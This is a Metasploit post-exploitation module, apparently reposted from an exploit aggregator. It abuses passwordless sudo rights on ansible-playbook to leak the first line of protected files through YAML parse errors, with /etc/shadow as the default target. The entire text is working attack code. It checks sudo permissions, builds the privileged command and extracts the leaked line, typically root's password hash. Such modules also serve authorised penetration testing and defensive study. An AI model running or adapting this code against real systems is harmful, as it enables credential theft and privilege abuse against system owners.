Share
## https://sploitus.com/exploit?id=MSF:POST-LINUX-GATHER-ANSIBLE_PLAYBOOK_ERROR_MESSAGE_FILE_READER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Auxiliary::Report
  include Msf::Exploit::Local::Ansible

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ansible Playbook Error Message File Reader',
        'Description' => %q{
          This module will read the first line of a file based on an error message from ansible-playbook with sudo privileges.
          ansible-playbook takes a yaml file as input, and if there is an error, such as a non-yaml file, it outputs the line
          where the error occurs. This can be exploited to read the first line of the file, which we'll typically want to read
          /etc/shadow to obtain root's hash.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # Metasploit Module
          'rioasmara'
        ],
        'Platform' => ['linux', 'unix'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'References' => [
          ['URL', 'https://rioasmara.com/2022/03/21/ansible-playbook-weaponization/']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptString.new('FILE', [true, 'File to read the first line of', '/etc/shadow']),
      ], self.class
    )

    register_advanced_options(
      [
        OptString.new('FULLOUTPUT', [false, 'Show the full output without cleanup', false]),
      ], self.class
    )
  end

  def run
    fail_with(Failure::NotFound, 'Ansible-playbook executable not found') if ansible_playbook_exe.nil?
    fail_with(Failure::NotFound, "Target file to read not found: #{datastore['FILE']}") unless file?(datastore['FILE'])

    # default if we have root and dont need sudo
    cmd = "#{ansible_playbook_exe} #{datastore['FILE']}"

    unless is_root?
      vprint_status('Checking sudo')
      # check we can sudo
      sudo_check = 'sudo -n -l'
      print_status "Executing: #{sudo_check}"
      output = cmd_exec(sudo_check).to_s

      if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
        print_error('Current user could not execute sudo -l')
        fail_with(Failure::NoAccess, 'Unable to execute the sudo command')
      end

      can_sudo_playbook = false
      output.lines.each do |line|
        next unless line.include? 'ansible-playbook'
        next unless line.include? 'NOPASSWD'

        can_sudo_playbook = true
      end
      fail_with(Failure::NoAccess, "ansible-playbook can't be run with a passwordless sudo") unless can_sudo_playbook
      print_good('System should be exploitable')
      cmd = "sudo -n #{cmd}"
    end

    print_status "Executing: #{cmd}"
    output = cmd_exec(cmd).to_s

    # output will look similar to this:
    # The offending line appears to be:
    #
    #
    # root:!::0:::::
    # ^ here
    # we want to take the 2nd to last line.
    if datastore['FULLOUTPUT']
      print_good(output)
    else
      print_good(output.lines[-2].strip)
    end
  end
end